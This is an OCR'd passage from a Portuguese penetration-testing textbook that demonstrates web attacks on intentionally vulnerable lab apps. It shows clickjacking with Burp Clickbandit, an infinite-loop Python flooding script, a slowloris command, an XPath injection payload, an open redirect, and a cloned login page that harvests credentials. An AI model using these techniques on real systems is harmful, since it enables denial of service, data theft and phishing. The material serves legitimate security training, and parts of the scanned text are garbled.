canto superior esquerdo, clique em Burp e depois em Burp
Clickbandit.
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mF‘raject Intruder Repeater Window Help

Search [Fro version only] ;
] Configuration library =
| User options | 2 g

Eurp Infiltrator [Fro version only]

Burp Clickbandit

Burp Collaborater client [Fro version only] E

Exit

Figura 9.18: Menu do Burp Clickbandit.

Isso abrirda uma tela com orientacdes de como utilizar essa
ferramenta que automatiza o ataque de clickjacking. Sua primeira
acao devera ser clicar no botao Copy Clickbandit to Clipboard.

Burp Clickbandit x

@ Burp clickbandit

Burp Clickbandit is a tosl for generating dickjacking sttacks. When you have found a web page that may be vulnerable ta dickjacking,
you can use Burp Clickbandit to creste an attack, and confirm that the vuinerabilty can be successfuly sxploited.

Burp Clickbandit runs in your browser using JavaScript. It works on all modern browsers excapt for Microsoft IE and Edge. To run Burp
Clickbandit, use the following steps:

1. Clickthe "Copy Clickbandit to clipboard" button below. This will copy the Clickbandit script to your clipboard.

2. In your browser, vist the web page that you want to test, in the usual way.

3. In your browser, open the web developer conscle. This might also be called "developer tools" or "JavaScript console".
4. Paste the Clickbandit script into the web developer console, and press enter.

See the documentation for more details on using Burp Clickbandit.

[ Copy Clickbandit to clipboard J { Close |

Figura 9.19: Burp Clickbandit.

Esse botdo copiard para a nossa area de transferéncia um
codigo muito incrivel que vai nos auxiliar a explorar a pagina com
clickjacking. =~ Agora,  acesse a  pagina alvo em
http://10.0.0.1/dvwa/setup.php e tecle F12 para abrir o inspetor de
elementos. Va até a aba console, cole o cddigo copiado do Burp e
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tecle enter.

<3 Damn Vulnerable Web /. X =+

& ¢ o ® 10.0.0.1

E CLICKBANDIT 1 I sandbox iframe? m w

™ © Inspector Console [ Debugger {} StyleEditor (3} Performance #J Memory N Network [F Storage  Accessibility

|
[ Errors [ Warnings [ Locs [info | Debug BECERRULIECECS]
interceptClicks();
T
window.clickbandit = {start: start, mode: 'record’, finish: finish, version: "1.6.5", disableClickActions: false, sandbox: false}:
window.addEventListener('DOMContentLoaded', ready, false):
if(document. readyState === 'complete') {
ready();
3
H):
& true

Figura 9.20: Cédigo do Burp Clickbandit aplicado no sistema.

Note que vai abrir uma tela superengenhosa. Procure a opgao
sendbox iframe e clique em iniciar para posicionarmos os nossos
botdes de clique. Apds isso, clique no botao start e depois execute o
botdo da pagina alvo chamado create/ reset database. Quando
notar que a agdo foi executada, clique em finish e vocé vera a tela a
seguir.
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E4 BURPCLICKBANDIT .@

sure you have the correct user credentials in /configfconfig.inc.php

If the database already exists, it will be cleared and the data will be reset.
rute Force
ommand Execution Backend Database: MySQL
SRF
isecure CAPTCHA it
ile Inclusion
QL Injection

QL Injection (Blind)
pload
SS reflected

Figura 9.21: Colocando botéo de clique com fundo visivel.

Essa tela mostra como vai ficar a sua pagina para o ataque de
clickjacking. Caso prefira um ataque mais elaborado, vocé podera
também clicar no botdo toggle transparency e vera que a pagina
alvo ndo aparecerd, no entanto, se vocé clicar no botio em
vermelho, o seu clique vazard para a pagina alvo e vocé acionard o
botao.

B4 BURPCLICKBANDIT .@

Click

Figura 9.22: Colocando botio de clique com fundo invisivel.
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Para realizar o ataque, basta vocé escolher um dos modos
acima e clicar no botdo save. Quando fizer isso, vocé baixard um
cdédigo para a exploragdo. Abra-o no navegador e clique no botao
para ver o que acontece.

Figura 9.23: Ataque de clickjacking consumado.

Como é possivel ver em modo aparente, o ataque foi realizado
com sucesso. Essa nossa exploracdo foi simples, mas existem
formas mais complexas, podendo até mesmo pedir que o usuario
preencha um formulario. Esses ataques dependem muito da
criatividade do atacante e da necessidade. No entanto, usar essa
ferramenta do Burp Suite pode trazer um belo requinte ao seu
relatdrio de vulnerabilidades.

9.8 ATAQUE DE ESTRESSE EM APLICACOES
WEB COM PYTHON

O ataque de estresse ¢ similar ao teste de estresse no banco de
dados, ja que também ¢é executado até o ponto de interrupgao do
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sistema. Nos dois casos, a aplicagdo sera submetida a grandes
volumes de informagao, exigindo muito processamento e muitas
conexodes com o banco de dados, de forma que o sistema falhe em
um ponto, que ¢ chamado de ponto de interrup¢ao do sistema.

Determinar o estado das transa¢des do banco de dados envolve
uma quantidade significativa de esfor¢o e pode demorar muito
tempo, dependendo dos recursos aplicados para o sistema. Em
nosso caso, para explorar essa vulnerabilidade, devemos achar um
formuldrio de cadastro, por exemplo, que ndo exija numero
maximo de interagdes. Dessa forma, podemos desenvolver um
script automatizado que fique realizando cadastros até que
encontremos esse ponto de falha na aplica¢ao.

Para praticarmos esse ataque, vamos ao sistema DVWA na
pagina relativa a vulnerabilidade de XSS Stored. Essa pagina pode
ser acessada por meio do link
http://10.0.0.1/dvwa/vulnerabilities/xss_s/. Nela, preencha o
formulario do férum, que pode ser com dados aleatdrios para ficar
mais facil, mas, antes de submeter a pagina, abra o inspetor de
elementos com F12. Feito isso, submeta os dados e va até a aba

networking , clique com o botdo esquerdo na requisicao feita e
copie como cURL.

Existe uma forma de converter o comando de formado cURL
para script python. O site https://curl.trillworks.com/ faz isso para
nds. Vocé pode acessa-lo e colar comando cURL, assim vocé tera
um script python para realizar a mesma requisigdo.
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Convert curl syntax to Python, Ansible URI, MATLAB, Node. js, R, PHP, Strest, GitHub | st
Go, Dart, Java, JSON, Elixir, Rust

curl command Python requests

texvntml tmixml, xmlg=0.9,*/:q=0.8' -H 'Accept-Lanquage: +

len-Us en.g=0.5' --compressed -H ‘Referer: http://10.0.0. 1/dvwa/vulnerabilities/xss_s/ data = {

-H 'Content-Type x-wow-form- " -H 'Connection: keep-alive' -H ‘xtName ‘lose'

"Cookie: security=low: security_level=0: {z_offset=-18000; 'mbxhessage” 'dasdasda’
BEEFHOOK=85TXvky7DxNBokkujk30qzHM BMreizgRbssmbSP4Hzhjn JOAAFGGOR 'binSign” 'Sign Guestbook'
9LYGNQayaniaWEErZsaaiTsCq; dbx-postmeta=grabit=0-,1-.2- 3-,4-5-6- i

&advancedstuff=0-,1-,2-; PHPSESSID=0lcqep4s2v2jbnmksrsqitages:

acopendivids=swingset jotto,phpbb2, redmine; acgroupswithpersist=nada’ -H response = requests. post('hitp://10.0.0.1/dvwa/vulnerabilities/xss_s/
'Upgrade-Insecure-Requests’ 1' —data-raw & headers=headers. cookies=cookies, data=data)
'tdName=lose&mixMessage=dasdasdagbinSign=Sian: Guestbook'

Examples: GET - POST - Basic Auth

Language Python v

Figura 9.24: Site de conversao cURL em Python.

Com o script python em maos, precisamos fazer algumas
alteracoes para que ele fique em um loop infinito, enviando varias
vezes os dados, e também exiba na tela algum tipo de status. O
objetivo é causar algum erro. Entdo teremos um c6digo como a
seguir:

import requests

cookies = {

'security': 'low',
'security_level': '0',
'tz_offset': '-18000',

'BEEFHOOK': '85TXvky7DxNBokkujk30qzHfIBMreizqRbssmbSP4HzhjnJOAAF
GGOR9LYgNQdyanid4wW6ErZsdaiTsCq',

'dbx-postmeta': 'grabit=0-,1-,2-,3-,4-,5-,6-&advancedstuff=0-,1-
,2_|’

'"PHPSESSID': 'Olcqep4s2v2jbnmksrsqltag66’,

'acopendivids': 'swingset, jotto, phpbb2, redmine’,

'acgroupswithpersist': 'nada',

headers = {

'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20
100101 Firefox/68.0',
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'Accept': 'text/html,application/xhtml+xml,application/xml;qg=0.9
,*/*;0=0.8",

'Accept-Language': 'en-US,en;q=0.5",

'Referer': 'http://10.0.0.1/dvwa/vulnerabilities/xss_s/',

'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',

}

data = {
'txtName': 'jose',
'mtxMessage': 'dasdasda',
'btnSign': 'Sign Guestbook'

}

while(True):

print(requests.post('http://10.0.0.1/dvwa/vulnerabilities/xss
_s/', headers=headers, cookies=cookies, data=data))

Execute o script com o comando python3 arquivo.py por
algum tempo, depois acesse
http://10.0.0.1/dvwa/vulnerabilities/xss_s/ e veja a quantidade de
mensagens que foram salvas no banco de dados. Se for copiar o
cédigo acima para executar, atente-se aos dados de cabecalhos,
pois cada autentica¢ao gera um dado diferente. Recomendo que
vocé mesmo gere o codigo e faga a adaptacio. Segue o resultado na
pagina.
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Mame: test
Message: This is a test comment.

MName: jose
Message: dasdasda

MName: jose
Message: dasdasda

MName: jose
Message: dasdasda

MName: jose
Message: dasdasda

MName: jose
Message: dasdasda

MName: jose
Message: dasdasda

MName: jose
Message: dasdasda

Figura 9.25: Ataque de estresse na aplicagao.

Nio fica dificil de perceber que se o sistema possuir muitos
dados gerados assim ele se tornard muito lento e sera inviavel
utiliza-lo. Com isso, pode haver um ataque de negagdo de servigo
na aplicagdo, sendo também considerado uma falha.

9.9 NEGACAO DE SERVICO USANDO O
PROTOCOLO HTTP

Os ataques de inundagao de requisigdes HTTP estdo ligados ao
fato de que o protocolo HTTP, por design de construgido, requer
que as solicitagdes sejam completamente recebidas pelo servidor
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antes de serem processadas. Se uma solicitaggo HTTP nio for
concluida ou se a taxa de transferéncia for muito baixa, o servidor
mantém seus recursos ocupados aguardando o restante dos dados.
Caso o servidor mantenha muitos recursos ocupados, isso criard
uma negacao de servico.

Para explorar essa falha, existe uma ferramenta bem conhecida
que pode ser baixada no Kali com o comando apt-get install
slowhttptest . Essa ferramenta, chamada SlowHTTPTest, é
altamente configuravel e foi desenvolvida para simular alguns

ataques de negacdo de servigo na camada da aplicagdo web.

A SlowHTTPTest implementa diversos ataques de negacgdo de
servico na camada da aplica¢ao. Isso inclui ataques como slowloris,
Slow HTTP POST, ataque de leitura lenta, entre outros. Apesar
disso, o seu funcionamento é simples, pois essa ferramenta apenas
envia solicitagbes HTTP parciais, tentando obter negacao de
servi¢o do servidor de destino.

Esses ataques de negacdo de servicos sdo bem conhecidos,
entdo vamos praticar um pouco na camada da aplicacdo web. Para
isso, ndo precisaremos apontar para um sistema especifico, pois o
alvo sera o servidor web. Para realizar o ataque, vocé pode
simplesmente executar o seguinte comando:

slowhttptest -c 1000 -H -g -o slowhttp -i 10 -r 200 -t GET -u htt
p://10.0.0.1/index.php

Nesse comando, passamos as seguintes informagdes: usaremos
1000 conexdes ( -c¢ 1000 ) no modo de ataque Slowloris ( -H ) e
geraremos estatisticas com isso ( -g ). O nome do arquivo de saida
sera slowhttp ( -o slowhttp ). Como esse ataque deixa os
servidores esperando algum tempo, vamos usar o tempo de 10
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segundos para aguardar os dados ( -i 10 ) e 200 conexdes
simultaneas ( -r 200 ) com apenas solicitagdes GET ( -t GET ).
Em relagdo a URL de destino, podemos colocar qualquer pagina do
nosso sistema com -u .

Apoés a execugdo do comando e um tempo aguardando,
teremos a seguinte resposta no terminal:

Sun Jul & 13:51:43 2021:

Sun Jul & 13:51:43 2021:
slow HTTP test status on 15th second:

initializing: ]
pending:

connected:

error:

closed:

service available:

Figura 9.26: Processo do ataque de negagao de servigo.

Depois disso, tente acessar http://10.0.0.1 novamente e vocé
vera o resultado, mas nio se engane se vocé vir a tela, porque sera o
resultado do cache. Caso queira ter certeza, acesse um dos sistemas
internos e vera a seguinte tela:
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Figura 9.27: Pagina carregando eternamente.

O ataque deixard o sistema muito lento ou até mesmo
inutilizavel. Vocé podera aumentar ainda mais a intensidade dos
ataques. Nesse exemplo, usei 0s dados de
https://tools.kali.org/stress-testing/slowhttptest, que devem ser
adequados as necessidades de cada sistema para haver a negagdo de
servico.

9.10 BURLANDO CONTROLES CLIENT-SIDE

Muitos problemas de seguranga surgem com aplicagdes web
porque os clientes podem enviar entradas nao previstas.
Geralmente isso é possivel quando a aplicagio depende
exclusivamente de controles do lado do cliente, ou seja, quando as
validagdes estdo no navegador do usudrio e podem ser alteradas
por usudrios mais experientes.

Em geral, isso representa uma falha de seguran¢a fundamental,
pois o usudrio tem controle total sobre os dados que ele envia e
pode ignorar qualquer controle do lado do cliente que nao seja
replicado no servidor. Ao depender das tratativas de logica de
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negocio, essas manipulacdes podem levar a diversos riscos e
prejuizos.

Para exemplificar esse problema, a aplicagdo mutillidae traz
para nds a seguinte funcionalidade chamada Client Side Control
Challenge:  http://10.0.0.1/mutillidae/index.php?page=client-side-
control-challenge.php. Essa funcionalidade faz men¢ao a um
formuldrio de cadastro com validagdes JavaScript e o objetivo é
manipular os elementos HTML a fim de conseguir submeter a
requisicao.

Claro, obviamente nao vou resolver todos os desafios da pagina
aqui nesta secdo. O que veremos aqui é o caminho das pedras,
porque, ao resolver alguns desses, vocé ja vai pegar o jeito e podera

fazer todos os outros com facilidade.

Para comegar 0 nosso processo, vamos preencher o primeiro
campo de dados e ver o que o sistema nos apresenta.
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Text Box teste
Read-only Text Box 42
Short Text Box | |
Disabled Text Box

Hidden Text Box

"Secured by
JavaScript" Text Box L

Vanishing Text Box
Shy Text Box |'
Search Textbox | |

Password |'
Drop-down Box One v
Checkbox Select 4513304167

01

Figura 9.28: Primeiro preenchimento.

Parece que o primeiro elemento foi bem tranquilo, ndo houve
validagdes, mas no segundo ja& podemos encontrar alguma
dificuldade para alterar o valor do campo que é apenas de leitura.
Entdo vamos precisar usar o inspetor de elemento novamente.
Abra-o com F12 e, quando quiser verificar o codigo de um campo
especifico, vocé pode clicar em cima do campo com o botdo
esquerdo do mouse e em Inspecionar elemento.

Ao ver o cddigo 42 que aparece dentro do campo chamado
read-only, podemos tentar alterd-lo, mas ndo vamos conseguir.
Para resolver esse desafio, clique no campo com o botdo esquerdo
e abra o inspetor de elemento. Vocé vera que o cédigo do campo
texto tem um atributo chamado readonly . Esse atributo trava o
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campo para edi¢do, mas estamos simulando usudrios maliciosos e
sabemos que se apagarmos a propriedade diretamente no cédigo
vamos conseguir modificar o valor.

Ja que sabemos que é possivel apagar, vamos fazer isso no
inspetor de elementos aberto.

w<td style="text-align: left:;">
<input id="id readonly textbox" htmlandxssinjectionpoint="1"
e="te name="readonly ize="15" maxlength="15"

b L

true" autofocus=" HLHEVEIUE="4L =

Figura 9.29: Segundo preenchimento.

Depois de fazer modificagdes no cddigo e alterar o valor que
era 42, podemos submeter e partir para o terceiro campo, cujo
objetivo ¢ aumentar o tamanho do texto a ser enviado. Para isso,
clique com o botao esquerdo em cima do campo novamente e abra
o cddigo no inspetor de elementos. Para tamanho, devemos alterar
o atributo maxlength . Caso queira aumentar também o tamanho
da caixa de texto, altere o atributo size .

</td= i
<ipput id="id short t

name="short_ textbox
=/tr=

Figura 9.30: Terceiro preenchimento.

O quarto campo ja ¢ um atributo disable . O campo estd
desabilitado para escrita, entdo, nesse caso, vamos com 0 mesmo
processo: apagar o atributo disable e escrever um valor no
campo apos isso.
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Figura 9.31: Quarto preenchimento.

Ao submeter, ainda faltam alguns campos para burlar a
seguranca. Na figura a seguir, estd o retrato da nossa exploragao até
0 momento.

Hidden Text Box

"Secured by f—J
JavaScript" Text Box

Vanishing Text Box
Shy Text Box (
Search Textbox | :|

Password (essccessssssese
Drop-down Box One v
Checkbox Select 4513304167
01
Radio Button 2
451330416

Email Control [ J

File Upload [ Browse..  No file selected.

Number [ 7:]

Figura 9.32: Resultado final.

Vemos que ha ainda um longo caminho até completar a
atividade, e isso é excelente para que vocé se aperfeicoe. Essas
habilidades sio muito exigidas dos pentesters. E claro que vocé
pode fazer todas essas alteracdes diretamente no Burp Suite sem
precisar mexer no cddigo, mas eu recomendo que vocé ndo faga

isso, pois com o treinamento em nivel de cédigo vocé ganhara
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mais conhecimentos. Agora é com vocé, tente completar o desafio.

9.11 REDIRECIONAMENTO DE URL

As vulnerabilidades de redirecionamento surgem quando uma
aplicagdo usa de uma forma insegura os dados que estdo sob o
controle do usuario para compor uma URL de destino em um
redirecionamento feito. Um atacante pode usar essa falha para
obter total controle do fluxo de URLs na aplicagao, causando um
redirecionamento para um dominio externo nao previsto.

Esse comportamento pode ser usado por atacantes que desejam
facilitar seus ataques de phishing contra os usudrios da aplicagdo,
pois nesse caso a capacidade de usar uma URL auténtica passa total
credibilidade em um estagio inicial do ataque.

Quando o usuario, primeiramente, é direcionado ao dominio
correto que tem um certificado SSL valido, por exemplo, isso
confere credibilidade ao ataque de phishing porque muitos
usudrios, mesmo que verifiquem esses recursos, ndo perceberdo o
redirecionamento subsequente para um dominio diferente.

Como exemplo, podemos usar a funcionalidade do sistema
bWAPP, acessivel por meio da URL:
http://10.0.0.1/bWAPP/unvalidated_redir_fwd_2.php. No sistema,
havera um link escrito here em meio ao texto. Vamos conferir
como é o comportamento quando se clica nele.
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http://10.0.0.1/bWAPP/unvalidated_redir_fwd_2.php

I e,

GET /BWAPP/unvalidated_redir_fwd_2. php?ReturnUrl=portal. phpl HTTR/L. 1

Host: 10.9.0.1

User-Agent: Mozilla/s5. 0 (X11, Linux xB6_G4; rv:68 0) Gecko/20100101 Firefox/G68. 0
Accept: text/html,application/xhtml+xml, application/xml; c=0. 9, */%; =0 8
Accept-Language: en-US, en;cF0.5

Accept-Encoding: gzip, deflate

Referer: http: //10. 0. 0.1/BWAPP/unvalidated redir_fwd_2. php

Connection: close

Cookie: security level=0; tz offset=-18000; BEEFHOOK=

85T XvkyTDxNBokku] k30gzHf IBMre1zgRbssmbSP4HzR] nJ0AAFGGORSL YqNOdyan i dWEErZsdaiTsCo;
dbx -postmeta=grabit=0-,1-, 2- 3- 4- 5-, 6-&advancedstuff=0-,1-, 2-; PHPSESSID=
5131iqdkagqmE9gk9g] SsriusTE0; acopendivids=swingset, jotto, phpbb2, redmine;
acgroupswithpersist=nada; JSESSIONID=TE47DTFO3CODSFTTCA4BSCAFTOTIFTSFA

10 Upgrade-Insecure-Requests: 1

11

T kM

oo

Figura 9.33: Requisi¢do com possivel vulnerabilidade.

Olhando para essa funcionalidade da figura, podemos ver que
o parametro ReturnUrl faz men¢do a uma pagina que sera usada
em um redirecionamento posterior. Para isso, vamos conferir a
resposta do servidor relativa a esse acesso na proxima figura.

I erarm

1 HTTP/1.1 302 Found
2 Date: Mon, 05 Jul 2021 19:50: 27 GMT
2 Server: Apaches2. 2.14 (Ubuntu) mod_mone/2 4.3 PHP/S. 2. 2-1ubuntu4, 20 with
Suhesin-Patch proxy_html/2. 0.1 mod_python/2. 2.1 Python/2.6.5 mod_ssl/2. 2. 14
OpenSsSL/0. 9. 8k Phusion_Passenger/4.0. 32 mod perly/2. 0.4 Perl/v5.10.1
4 X-Powered-By: PHP/S. 3. 2-lubuntu4. 20
5  Expires: Thu, 19 Mov 1981 02:52:00 GMT
& Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
% Leocatien: portal.php
9 Vary: Mccept-Encoding
18 Conmtent-Length: @
11 Connection: close
12 Content-Type: text/html

Figura 9.34: Confirmagao da vulnerabilidade na resposta.

Como podemos ver, o cabecalho location , que é responsavel
pelo redirecionamento, usou o texto do pardmetro ReturnUrl na
integra. Isso parece muito bom para nds. Vamos acessar a URL
http://10.0.0.1/bWAPP/unvalidated_redir_fwd_2.php?
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http://10.0.0.1/bWAPP/unvalidated_redir_fwd_2.php?ReturnUrl=https://www.casadocodigo.com.br/

ReturnUrl=https://www.casadocodigo.com.br/, que foi
manipulada, e ver se vamos para o site da Casa do Cddigo
posteriormente.

Produtividade
em C#

Produtividade em C#:
Obtenha mais

resultado com menos
esforgo

Produtividade
em

Figura 9.35: Ataque de redirecionamento.

Apos ver essa pagina da Casa do Cddigo aberta, podemos ter
certeza de que estamos no controle e podemos redirecionar para
qualquer pagina que quisermos. Nas se¢des posteriores, veremos
uma forma de copiar e disponibilizar uma pagina falsa idéntica a
real. Quando fizermos isso, vocé vera que uma vulnerabilidade
como essa, de redirecionamento, pode aumentar as chances de um
usuario entrar com dados em uma pagina falsa.

9.12 XPATH INJECTION

Esse ataque é muito semelhante ao SQL Injection e ocorre
quando um site usa informagdes fornecidas pelo usudrio para
construir uma consulta XPath para dados armazenados em XML.
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Ao modificar as entradas de dados que compdem as consultas
XPath, um atacante pode descobrir como o XML estd estruturado
e acessar os dados aos quais normalmente ele ndo tem acesso.
Dependendo da forma como o sistema foi construido, é possivel
até mesmo elevar seus privilégios, se os dados XML estiverem
sendo usados para autenticagao.

A consulta de XML ¢ feita com uma linguagem chamada
XPath. E uma linguagem descritiva simples que permite consultas
XML e, da mesma forma que com o SQL, vocé pode especificar
certos atributos para encontrar e recuperar informagdes. Ao usar
XML como armazenamento de dados de um sistema web, é
comum aceitar alguma forma de entrada em texto para identificar
o conteudo a ser localizado e exibido na pagina. Essa entrada deve
ser sanitizada se vocé ndo quiser permitir uma exploragao.

Com a riqueza de laboratdrios que temos no OWASP BWA,
também temos um especifico para treinar as habilidades de inje¢ao
XPath. Para comegar essa brincadeira, acesse
http://10.0.0.1/WebGoat/attack?Screen=46&menu=1100. Essa
funcionalidade faz menc¢io a uma consulta de saldrios baseada em
XPath. Caso seja solicitada a senha, vocé deve colocar
webgoat/webgoat.

Para iniciar o ataque, vamos fazer o simples: coloque as
credenciais Mike/test123 e veja o resultado na aplicagéo.
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http://10.0.0.1/WebGoat/attack?Screen=46&menu=1100

Welcome to WebGoat employee intranet

Please confirm your username and password before viewing your profile.
*Required Fields

*User Name:

*Password:

Submit
[Username — AccountNo.  Balary
Mike 11123 468100

Created byKoS:]f;igf SoftwareS TED

OWASP Foundation | Project WebGoat | Report Bug

Figura 9.36: Consulta Xpath.

Com base nessa funcionalidade, fica a pergunta: sera que é
possivel visualizar os dados relativos a outra pessoa? Para testar,
vamos usar um payload muito comum no SQL Injection e que
também ¢ usado nessa vulnerabilidade: o ' or '1' = '1.Entdo
coloque isso como usudrio e senha e veja o resultado.

Welcome to WebGoat employee intranet

Please confirm your username and password before viewing your profile.
*Required Fields

*User Name: Yor!lY ="
*Password:
Submit
Username  [AccountNo. Balay
Mike 11123 ﬁﬁSlOO
ohn 63458 |559833
Sarah 23363 [s2000

Created byéosuhsigfs F reS TED

Figura 9.37: Ataque de injegdo de Xpath.

Pela simplicidade da vulnerabilidade, nem gastamos muito
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tempo e ela ja nos deu todas as informagdes com o payload mais
simples. E isso é muito comum, nao menospreze essa facilidade.

Agora, precisamos entender mais desse ataque, porque a
exploracao foi muito simplificada. A consulta interna do sistema,
em vez dos comandos SQL, usou algo similar a consulta xpath a
seguir:
string(//user[username/text()="'Mike' and password/text()='Test123
']/account/text())

Essa consulta retornaria apenas o usudrio mike , como
ocorreu. No entanto, com a nossa manipula¢do, aconteceu que a
query ficou desta forma:

string(//user[username/text()='"' or '1' = '1' and password/text()
='' or '1' = '1']/account/text())

Como podemos notar, esse tipo de pesquisa seria responsavel
por retornar todos, como aconteceu no nosso ataque, pois 1
sempre ¢é igual a 1. Como essa condi¢do é posta em todas as
verificagdes, isso faz com que aquele registro seja retornado
sempre. Esse tipo de funcionalidade com XML nido é muito
comum, mas é de importante conhecimento, ja que vocé podera

precisar disso nos seus testes.

9.13 CLONE DE PAGINAS WEB

As paginas web falsas sempre foram um grande problema.
Esses ataques de engenharia social ja sao utilizados ha muito
tempo, principalmente para aquisicdo de dados bancérios. Vocé
mesmo ja deve ter recebido e-mails ou SMSs com paginas falsas, os
quais solicitavam um dado especifico.
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Se eu lhe perguntasse como vocé faria para copiar um site, ou
seja, reproduzir um site de forma idéntica, o que vocé responderia?
Bom, a maioria das pessoas diria que abriria as configuragdes,
baixaria os codigos de front-end e modificaria as funcgdes. Isso
funcionaria, mas levaria muito tempo. Hoje, temos ferramentas
excelentes para isso.

Existe uma ferramenta que vem por padriao no Kali que se
chama Social-Engineer Toolkit, também conhecida pelo comando
setoolkit . Essa ferramenta foi projetada especificamente para
executar ataques avangados contra o elemento humano. Os
ataques integrados disponiveis na ferramenta sao projetados para
serem ataques direcionados a pessoas ou a organizagdes e
normalmente sdo utilizados durante um teste de invasdo bem
abrangente.

Dentre as varias fungdes que essa ferramenta oferece, estd a que
permite clone de site, que é a que nos interessa neste momento.
Para isso, no terminal do Kali, digite o comando setoolkit e
execute. Caso seja solicitado, aceite os termos e, nessa primeira
pagina que serd apresentada, vamos escolher a opgdo 1 para
ataques de engenharia social.

Select from the menu:

Social-Engineering Attacks
Penetration Testing (Fast-Track)
Third Party Modules

Update the Social-Engineer Toolkit
Update SET configuration

Help, Credits, and About

Exit the Social-Engineer Toolkit

Figura 9.38: Primeira fase do set.
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Na segunda tela, escolha a opgao 2, porque faremos um ataque
que envolve websites.

Select from the menu:

Spear-Phishing Attack Vectors
Website Attack Vectors

Infectious Media Generator

Create a Payload and Listener

Mass Mailer Attack

Arduino-Based Attack Vector
Wireless Access Point Attack Vector
QRCode Generator Attack Vector
Powershell Attack Vectors

Third Party Modules

Return back to the main menu.

Figura 9.39: Segunda fase do set.

Na terceira tela, vamos escolher a op¢do 3 porque o nosso
objetivo serd a captura de credenciais e queremos enganar o
usudrio para que ele nos informe essas credenciais.

1) Java Applet Attack Method

2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method

5) Web Jacking Attack Method
6) Multi-Attack Web Method
7) HTA Attack Method

99) Return to Main Menu

Figura 9.40: Terceira fase do set.

Agora, sera pedido para nds o IP do site falso, que sera uma de
nossas interfaces. Entao vamos informar o IP 10.0.0.2 .
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The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.

1) Web Templates

2) Site Cloner
3) Custom Import

99) Return to Webattack Menu

Figura 9.41: Quarta fase do set.

A seguir, sera solicitada a URL da pagina que queremos copiar.
Vamos colocar o link para a pagina de login do sistema DVWA.
Entao, na resposta dessa pergunta, coloque

http://10.0.0.1/dvwa/login.php .

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL
IP address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will
need to do port forwarding to your NAT IP address from your external IP
address. A browser doesns't know how to communicate with a private IP

address, so if you don't specify an external IP address if you are using
this from an external perpective, it will not work. This isn't a SET issue
this is how networking works.

> IP address for the POST back in Harvester/Tabnabbing [10.0.2.15]:10.0.0.2

Figura 9.42: Quinta fase do set.

Com isso, sera apresentada uma tela informando que o sistema
estd funcionando e que pode ser acessado, entdo vamos acessar a
URL http://10.0.0.2/ .
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@ # 10.0.0.2

D\WA)

Username

jose

Password

Login

Figura 9.43: Site clonado.

Apoés preencher a pagina com dados aleatorios para teste e
clicar em login, va ao terminal e veja que a senha digitada pelo
usudrio aparece para voce.

[Credential Harvester is now listening below... ]

Array
(
[username] = jose

[password] = password

[Login] = Login

Figura 9.44: Senha capturada.

Note também um detalhe, que talvez tenha passado
despercebido. Olhe para a pagina fake e diga o que aconteceu com
ela. Pois é, ela foi para a pagina real. A ideia disso é fazer com que a
vitima ndo perceba o ataque e identifique a captura de dados como
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apenas um erro. Diante disso, a vitima se autenticaria novamente e

nao perceberia o ataque.

) w0 & 10.0.0.1

—

DVWA

Figura 9.45: Retorno ao site real.

Com isso, temos o ataque de pagina fake feito. Esse ndo ¢ um
ataque que seja considerado como falha na aplicagdo web, porque
o atacante sempre vai conseguir copiar a aparéncia da sua
aplicacao. O unico modo de evitar ataques desse tipo é por meio da
conscientiza¢ao dos usuarios.

A ideia por tras de trazer essa vulnerabilidade é mostrar mais
ataques que podem influenciar os testes das aplicacoes web e
também reforcar a necessidade de corrigir outras falhas. Por
exemplo, uma falha de redirecionamento poderia encaminhar o
usudrio para uma pagina falsa e ele ndo conseguiria perceber pois
acessou primeiro um site confiavel. Nenhuma vulnerabilidade deve
ser ignorada, pois, sozinhas, algumas podem até nao significar um
risco alto, mas, quando combinadas, podem gerar grandes
prejuizos.

Consideracoes finais do capitulo

Neste capitulo, foram apresentadas diversas vulnerabilidades.
Elas ndo foram agrupadas aqui por serem menos importantes e
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sim porque o objetivo do livro ¢ iniciar seu caminho na drea de

testes de invasao.

As vulnerabilidades aqui apresentadas tém um escopo bem
grande e podem ser empregadas nos mais diversos contextos,
sendo que algumas delas necessitariam de livros inteiros para uma
abordagem completa. No entanto, esses pequenos exemplos ja
habilitam vocé a usa-las e também a ter maior entendimento
quando precisar aprofundar seus conhecimentos.

Este capitulo também encerra a exibi¢do de vulnerabilidades,
pois, nos proximos, vamos trabalhar mais a questao operacional.
Agora com o conhecimento bem amplo, podemos trabalhar a
performance dos nossos testes e aumentar muito mais o
desempenho das operagdes nos testes de invasao.
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CapiTuLo 10

METASPLOIT PARA WEB:
OPERACIONALIZANDO O
TESTE DE INVASAO

O Metasploit é um framework que possui diversas ferramentas
que facilitam o processo de teste de invasio. E uma ferramenta
muito famosa usada por profissionais de seguranca, especialmente
os de seguranca ofensiva, sendo muito utilizada inclusive pelos
famosos scripts kiddies, hackers que dominam muito pouco ou
nada dos conceitos necessarios para se trabalhar com Tecnologia
da Informagdo. Os scripts kiddies conseguem trabalhar com o
Metasploit devido a sua facilidade e essa mesma caracteristica pode
ser muito bem aproveitada por nods, quando precisamos
operacionalizar e trabalhar a eficiéncia de nossos testes de invasao.

Conhecido também como o canivete suico do hacker, o
Metasploit Framework possui sua versdo gratuita que vem pré-
instalada no Kali. Essa versao sera o suficiente para trabalharmos
em nossos casos de teste e, na maioria das organizagdes, a versao
gratuita supre todas as necessidades para o teste de invasao.

O Metasploit nos fara ganhar performance e tempo em muitas
exploragdes e buscas em redes, por isso temos um capitulo
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dedicado ao uso dessa ferramenta e aos impactos positivos dela
durante os testes de invasao.

10.1 ENTENDENDO A ESTRUTURA DO
METASPLOIT

Como se trata de um framework, o Metasploit é um conjunto
de ferramentas disponiveis de forma organizada, composta por
varios scripts. Aqui vamos nos debrucar sobre aqueles que podem
causar impacto nas aplicagdes web.

O Metasploit possui uma estrutura dividida em modulos,
sendo que cada modulo € representado por um conjunto de
scripts. Isso significa apenas uma separagao por atividades que sao
realizadas durante o pentest. O fato de o Metasploit ser
modularizado possibilita uma melhor organizagdo do pensamento
para o pentester e também permite uma maior facilidade ao
segregar as atividades como reconhecimento, exploragdo e pos-

exploragao. Abaixo seguem alguns médulos tidos como principais.

